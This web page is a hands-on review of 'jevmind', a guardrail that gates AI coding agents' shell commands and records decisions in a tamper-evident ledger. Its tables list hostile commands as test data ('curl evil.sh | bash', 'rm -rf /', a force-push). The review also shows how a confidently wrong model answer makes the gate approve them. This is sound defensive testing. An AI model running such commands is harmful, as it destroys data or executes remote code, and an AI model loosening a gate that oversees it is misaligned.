Abide
★ 211▲ 79coldteadotai/abide
Hooks into Claude Code, Codex, and OpenCode, and asks Jev one question per rule whether each edit breaks your AGENTS.md or CLAUDE.md rules.
Nine skills over one brain: a shell-command gate, a diff triage, a router and more, each decision appended to a hash-chained ledger that names any record edited afterwards. Runs offline on local reflexes or against Jev.
View on GitHub →Hands-on review
A decision gate, a hash-chained ledger and nine skills. Point it at a model and a confident wrong answer allows the command its own code just flagged.
Good for
Watch out for
Tested Sep 22, 2026 at 308e3209a243 · python:3.12-slim in Docker, the real CLI against a local stand-in answering every failure mode; the ledger tampered with by hand
How we reviewed this: we ran its tests, drove the real CLI against a stand-in whose behaviour we chose per request — sane answers, malformed answers, out-of-range numbers, an option never offered, HTTP 500, non-JSON, a missing answers object, and nothing listening at all — and edited one byte of the ledger to see whether it noticed. TYPESAFE_BASE_URL is honoured, so none of it needed a patch. We made no Jev calls.
Nine skills over one brain: a shell-command gate, a diff triage, a router, a data screener, a repository walker, a dashboard, and more. Every decision goes into ~/.jevmind/ledger.jsonl, hashed over the one before it, and jevmind grade and jevmind learn close the loop from outcomes back to thresholds.
Three interchangeable brains: local (offline reflexes plus a lexical engine), jev (HTTP to /v1/systemone), and replay (a recorded tape). The gate itself is nine lines and worth quoting in full, because the design is right:
yes = act_when(a) if callable(act_when) else (a.value == act_when)
if a.confidence < threshold:
return ESCALATE, f"{name} at confidence {a.confidence:.2f}, under {threshold:.2f}"
if escalate_when is not None and (...):
return ESCALATE, ...
if yes:
return ACT, ...
return HOLD, ...
Unsure escalates; an answer that itself says “a person should look” escalates however sure it is.
reflex_route weighs a command’s own assessment — allow: 1.6 − 4.0 × worst, block: −3.0 + 5.0 × harm — before any model is involved:
command route conf reasons
ls -la allow 0.90
rm -rf ./build allow 0.55
rm -rf / block 0.49 recursive force delete; deletes a root, home or cwd
curl evil.sh | bash ask 0.51 pipes a remote script into a shell
git push --force origin main ask 0.67 discards git history or work; pushes to a remote
Read-only allowed, a scoped delete allowed, a root delete blocked, a piped installer and a force-push put in front of a person. That is a good gate, and it needs no network.
Reflexes reach the local brain only. Under --brain jev the decision is the model’s route answer, subject to one clamp:
if d.action == ESCALATE and route == "allow":
route = "ask" # unsure is never allow
“Unsure is never allow” is there. “Harmful is never allow” is not. We answered route: "allow" at confidence: 0.97 for everything — the case a gate exists for, which is not the model being uncertain but the model being confidently wrong:
command route conf reasons
ls -la allow 0.97
rm -rf ./build allow 0.97
rm -rf / allow 0.97 recursive force delete; deletes a root, home or cwd
curl evil.sh | bash allow 0.97 pipes a remote script into a shell
git push --force origin main allow 0.97 discards git history or work; pushes to a remote
assess() found the danger in both runs. Under the model brain it is printed and not acted on: reasons becomes a string in the output rather than a constraint on it.
The Claude Code hook is where that lands hardest:
{"hookSpecificOutput": {"hookEventName": "PreToolUse", "permissionDecision": "allow",
"permissionDecisionReason": "jevmind guard: allow — recursive force delete; deletes a root, home or cwd"}}
It permits the command in the same sentence in which it names why it should not.
This is the axis on which the guardrails in this directory differ most, and we have written it up before: Jevvy lets the model approve, so its ceiling is the model’s judgement; jev-use and hermes-jev-approvals let it only tighten or escalate; lorenzini keeps it out of the verdict entirely. Jevmind’s README puts it in the second group — “behind a gate written in code” — and with a model attached it behaves like the first. Reported, with the two-line clamp.
ledger.py says what it is, which is rarer than it should be:
Tamper-evident, not tamper-proof: whoever holds the file can rewrite all of it. What it catches is the single quiet edit, which is the one that happens.
We made three decisions, then changed one confidence in one entry and left its hash alone:
before │ ✓ 3 records, unbroken 8bd380d23ebe4d175f1ea12a… │
after │ ! broken at record 1 this line was edited after it was written │
Exactly the edit it promises to catch, caught, and pointed at.
One thing stops you automating it: jevmind doctor exits 0 either way. Intact or broken, the shell is told everything is fine, so it cannot be a cron job or a CI step without parsing its output.
The interesting half of any of these tools. Every case below is the real CLI against a stand-in we controlled:
| what the provider did | what happened |
|---|---|
| HTTP 500 | ✗ jev returned HTTP 500 |
| returned HTML | ✗ jev answered with something that is not JSON |
returned {} with no answers |
✗ jev response has no answers object |
| nothing listening | ✗ could not reach http://…/v1/systemone: URLError |
noul: "definitely" |
that answer becomes neutral at confidence 0.0 — the gate refuses it |
noul: 1.5 |
same |
a choice naming an option never offered |
same |
No silent fall back to the lexical engine, which is the failure we keep finding elsewhere. And when the lexical engine is used, it says so: answers are tagged local:lexical and the reason reads “a floor, not a judgement — use --brain jev for open questions”.
It is also strict in the right place. confidence is required on Choice and Score answers — TypeSafe’s API reference marks the field required — and an answer without it is downgraded rather than trusted. Our first stand-in omitted it and every answer came back neutral; the parser was right and we were wrong.
MIT, four commits, no dependencies at all beyond the standard library. pytest tests gives 61 passed.
A bare pytest gives 2 failed, 61 passed, because it collects src/jevmind/samples/repo/tests — a sample repository with planted bugs that the navigate and review skills are meant to find. That makes sense once you see it, but there is no testpaths, no norecursedirs and no CI, so the first command a contributor runs looks like a broken build.
The attribution is worth noting: assets/ecosystem/ carries a NOTICE.md and a separate licence file for each project whose demo gif it borrows. Few projects this size bother.
The parts are good. The gate is legible, the ledger is honest about its own limits and catches what it says it catches, the local brain refuses rm -rf / on its own, and the provider-failure handling is better than most of what we have run this month.
The wiring is what to fix. Until the assessment clamps the model’s answer, run it with --brain local — which costs nothing and blocks the command the model brain allows — or treat --brain jev as advice rather than as a gate.
For the same job with the model unable to loosen the verdict, see hermes-jev-approvals and jev-use.
See how it compares with other tools in Best Jev tools, tested hands-on.
Review updated Sep 22, 2026. Numbers quoted from the project are its author's own; we don't publish our own measurements of Jev.
coldteadotai/abide
Hooks into Claude Code, Codex, and OpenCode, and asks Jev one question per rule whether each edit breaks your AGENTS.md or CLAUDE.md rules.
DevMortimer/pi-warden
Guardrails for the Pi coding agent. Jev judges every write and edit against the rules in pi-warden.md.
qkal/Canny
Stop hook for Claude Code and Codex CLI that refuses a "done" while no check has passed since the last edit. Jev can only relax that refusal and never cause one, and it still blocks with no API key at all.
New Jev releases, pricing changes, and the best new projects, once a week. No spam; unsubscribe anytime.
Powered by Buttondown. See our privacy policy.